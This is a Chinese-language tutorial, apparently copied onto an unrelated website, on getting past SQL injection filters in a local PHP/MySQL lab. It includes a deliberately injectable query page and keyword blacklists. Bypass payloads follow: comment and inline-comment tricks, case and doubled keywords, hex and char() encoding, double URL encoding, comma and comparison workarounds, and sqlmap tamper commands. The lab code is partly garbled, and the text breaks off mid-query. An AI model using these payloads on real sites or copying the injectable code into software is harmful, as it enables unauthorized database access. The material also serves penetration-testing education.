SQL注入过滤的绕过

您所在的位置:网站首页 sql server注释符 SQL注入过滤的绕过

SQL注入过滤的绕过

#SQL注入过滤的绕过| 来源: 网络整理| 查看: 265

在实际的项目开发中,程序员一般都会使用函数过滤一些字符,以防止SQL注入比如魔术引号magic_quotes_gpc()之前的文章有提过,再比如preg_replace()函数过滤了一些字符。

preg_replace('A','B','C') # 执行一个正则表达式的搜索和替换

搜索C中符合A的部分,然后用B来代替。

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) //搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

简单的写个过滤黑名单:

function blacklist($id) { $id = preg_replace('/or/i',"",$id); //过滤 or 不分大小写 $id = preg_replace('/and/i',"",$id); //过滤 and 不分大小写 $id = preg_replace('/[\/\*]/',"",$id); //过滤 /* $id = preg_replace('/[--]/',"",$id); //过滤 -- $id = preg_replace('/[*]/',"",$id); //过滤 # %23 $id = preg_replace('/[\s]/',"",$id); //过滤 空格 %20 $id = preg_replace('/[\/\\\\]/',"",$id); //过滤 斜杠 \ 反斜杠 / return $id; }

过滤了就注入了吗?不好意思,不存在的!道高一尺魔高一丈,虽然过滤了某些字符,但是已然可以绕过,达到SQL注入的目的。

注意:在使用注释符#的时候,在URL输入栏中应该输入#的URL表达式 %23 ,而不是直接输入#

在如下存在SQL注入的代码,没有任何的安全防御措施。blacklist中的是过滤的手段,目前没有任何过滤。在接下来的测试过滤绕过中,我会改变blacklist函数中的过滤语句。

$con = mysql_connect("localhost","root","root"); #数据库连接 $select_db = mysql_select_db('security'); die("不能连接数据库!:\n" . mysql_error()); echo "------------------------------------------";echo ""; echo "------------------------------------------";echo ""; echo "------------------------------------------";echo ""; echo "------------------------------------------";echo ""; $sql = "select * from users where id=$id"; echo "------------------------------------------";echo ""; echo "------------------------------------------";echo ""; $res = mysql_query($sql); die("could get the res:\n" . mysql_error()); while ($row = mysql_fetch_assoc($res)) { mysql_close($con); //关闭数据库1.过滤了空格$id = preg_replace('/[\s]/',"",$id);1.1注释符/**/绕过

如果只过滤了空格,没有过滤/,那么我们可以通过/*/来绕过空格过滤 http://127.0.0.1/index.php?id=1//order//order//by//1

如果直接使用sqlmap会提示:

这时候我们可以使用注释绕过,在sqlmap中,对于mysql数据库注释绕过空格的脚本:

sapce2comment.py sqlmap命令: python sqlmap.py -u http://127.0.0.1/index.php?id=1 --batch --dbs --tamper=space2comment.py --batch是让sqlmap自动选择执行过程中出现的询问请求 sqlmap的绕过脚本在目录/sqlmap/tamper下1.2内联注释绕过

当Mysql数据库版本大于等于5.55时,可以使用内联注释(/!**/)

/*! select * from xxx where id=1 */ /*!union*/ /*!select*/@@version,2,3;

sqlmap中关于内联注释的脚本:

versionedmorekeywords.py halfverisonedmorekeywords.py2.区分大小写过滤了SQL关键词function blacklist($id) { $id = preg_replace('/[\s]/',"",$id); //过滤 空格 %20 $id = preg_replace('/or/',"",$id); //过滤 or $id = preg_replace('/and/',"",$id); //过滤 and $id = preg_replace('/union/',"",$id); //过滤 union $id = preg_replace('/by/',"",$id); //过滤 by $id = preg_replace('/select/',"",$id); //过滤 select $id = preg_replace('/from/',"",$id); //过滤 from $id = preg_replace('/floor/',"",$id); //过滤 floor $id = preg_replace('/concat/',"",$id); //过滤 concat $id = preg_replace('/count/',"",$id); //过滤 count $id = preg_replace('/rand/',"",$id); //过滤 rand $id = preg_replace('/group by/',"",$id); //过滤 group by $id = preg_replace('/substr/',"",$id); //过滤 substr $id = preg_replace('/ascii/',"",$id); //过滤 ascii $id = preg_replace('/mid/',"",$id); //过滤 mid $id = preg_replace('/like/',"",$id); //过滤 like $id = preg_replace('/sleep/',"",$id); //过滤 sleep $id = preg_replace('/when/',"",$id); //过滤 when $id = preg_replace('/order/',"",$id); //过滤 order return $id; }

由于先匹配到了or,所以把order中的or去除了,并且把by也去除了。

2.1大小写绕过

但是由于过滤没有对大写做识别,所以我们这里把关键词用大写:

1 Order By 1

这个在sqlmap中也是可以直接跑出来的,因为sqlmap的payload中的SQL关键字默认是大写的,而这里只过滤了小写,而且sqlmap也有专门的随机大小写的绕过脚本:randomcase.py

3.不区分大小写过滤了SQL关检词

对于过滤SQL关检词绕过的思路 1.尝试双拼写绕过 2.看是否有关检词漏掉过滤了 3.使用等价函数替换

function blacklist($id) { $id = preg_replace('/[\s]/',"",$id); //过滤 空格 %20 $id = preg_replace('/or/i',"",$id); //过滤 or $id = preg_replace('/and/i',"",$id); //过滤 and $id = preg_replace('/union/i',"",$id); //过滤 union $id = preg_replace('/by/i',"",$id); //过滤 by $id = preg_replace('/select/i',"",$id); //过滤 select $id = preg_replace('/from/i',"",$id); //过滤 from $id = preg_replace('/floor/i',"",$id); //过滤 floor $id = preg_replace('/count/i',"",$id); //过滤 count $id = preg_replace('/rand/i',"",$id); //过滤 rand $id = preg_replace('/group by/i',"",$id); //过滤 group by $id = preg_replace('/substr/i',"",$id); //过滤 substr $id = preg_replace('/ascii/i',"",$id); //过滤 ascii $id = preg_replace('/mid/i',"",$id); //过滤 mid $id = preg_replace('/like/i',"",$id); //过滤 like $id = preg_replace('/sleep/i',"",$id); //过滤 sleep $id = preg_replace('/when/i',"",$id); //过滤 when $id = preg_replace('/order/i',"",$id); //过滤 order return $id; }

对于不区分大小写的过滤SQL关检词,无论大小写混合都会被过滤了。

3.1双拼写绕过?id=1 ununionion selselectect 1,2,3

sqlmap中双拼写绕过的脚本:nonrecursivereplacement.py,该脚本对于任何数据库都可以使用。

3.2爆破SQL词看是否有关键词过滤了

这种对于不区分大小写过滤了的关键词,我们首先需要判断过滤了哪些关键词,漏掉了哪些关键词,这个可以使用SQL关键词来进行爆破,看看哪些关键词没有被过滤,然后看看这些关键词可以利用哪些注入方式。

然后使用Burp简单爆破下,这里看length不太有用,可能需要一个个看Response,看看哪个漏掉了。

如果是那种只要请求包中有过滤关键词,则会返回特殊响应的网站,这样查看响应代码就可以一目了然的知道哪些关键词没有被过滤。

通过关键的爆破,若发现一些没有被过滤,则可以利用,比如:

ExtractValue报错注入 and extractvalue concat Updatexml报错注入 and updatexml concat

and可以用&&来替换,在URL编码中换成%26%26即可。

3.3等价函数绕过

例如:substr,substring,mid都过滤了的话,可以考虑用left();过滤了sleep()可以用benchmark()替换,过滤了group_concat可以使用concat_ws()

4.过滤了引号4.1 16进制编码绕过

使用 16 进制绕过引号。一般会使用到引号的地方是在最后的 where 子句中,比如

select * from test where username='admin'; select * from test where username="admin";

当引号被过滤了的话, 'admin' 或者 "admin" 就没法用了,我们可以用 admin 的16进制 0x61646d696e 代替。

select*from users where username=0x61646d696e;

这里注意一下,中文无法进行使用16进制编码

4.2 ASCII编码绕过

admin的各个字符的ASCII的值为: 97 100 109 105 110 所以我们使用concat(char(97),char(100),char(109),char(105),char(110))代替admin。 ?username=concat(char(97),char(100),char(109),char(105),char(110))

4.5 URL编码绕过

**前提条件:后端在处理接收到的参数进行了URL解码,并且对该URL解码是在过滤函数之后才可以。

$username=$GET['username']; $username=blacklist($username); # 过滤函数 $username=urldecode($username); # URL解码

当我们使用"admin"的时候,过滤函数把admin给过滤了掉了

于是我们使用 " 的URL编码的URL编码,也就是 %2522

在sqlmap中,对payload进行URL编码的脚本是: charencode.py chardoubleencode.py # 两次URL编码

5.过滤了逗号

在使用盲注的时候,会使用到substr(),substring(),mid(),limit()等函数,这些函数都需要用到逗号,如果只是过滤了逗号,则对于substr(),substring(),mid()可以使用from for的方式来绕过。对于limit()可以用offset()来绕过。

// substr() 逗号绕过 select * from test where id=1 and (select ascii(substr(username,2,1)) from admin limit 1)>97; select * from test where id=1 and (select ascii(substr(username from 2 for 1))from admin limit 1)>97; // substring() 逗号绕过 select * from test where id=1 and (select ascii(substring(username,2,1)) from admin limit 1)>97; select * from test where id=1 and (select ascii(substring(username from 2 for 1))from admin limit 1)>97; // mid() 逗号绕过 select * from test where id=1 and (select ascii(mid(username,2,1)) from admin limit 1)>97; select * from test where id=1 and (select ascii(mid(username from 2 for 1))from admin limit 1)>97; // limit 逗号绕过 select * from test where id=1 limit 1,2; select * from test where id=1 limit 2 offset 1;6.过滤了比较符

在使用盲注的时候,会用到二分法来比较操作符来进行操作,如果过滤了比较操作符,那么就需要使用到greatest()和lease()来进行绕过。greatest()返回最大值,leaset()返回最小值。

greatest(n1,n2,n3,....) # 返回输入参数的最大值 least(n1,n2,n3,....) # 返回输入参数的最小值 select * from users where id=1 and ascii(substring(database(),0,1))>64; select * from users where id=1 and greatest(ascii(substring(database(),0,1)),64)>64; select * from users where id=1 and ascii(substring(database(),0,1))


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3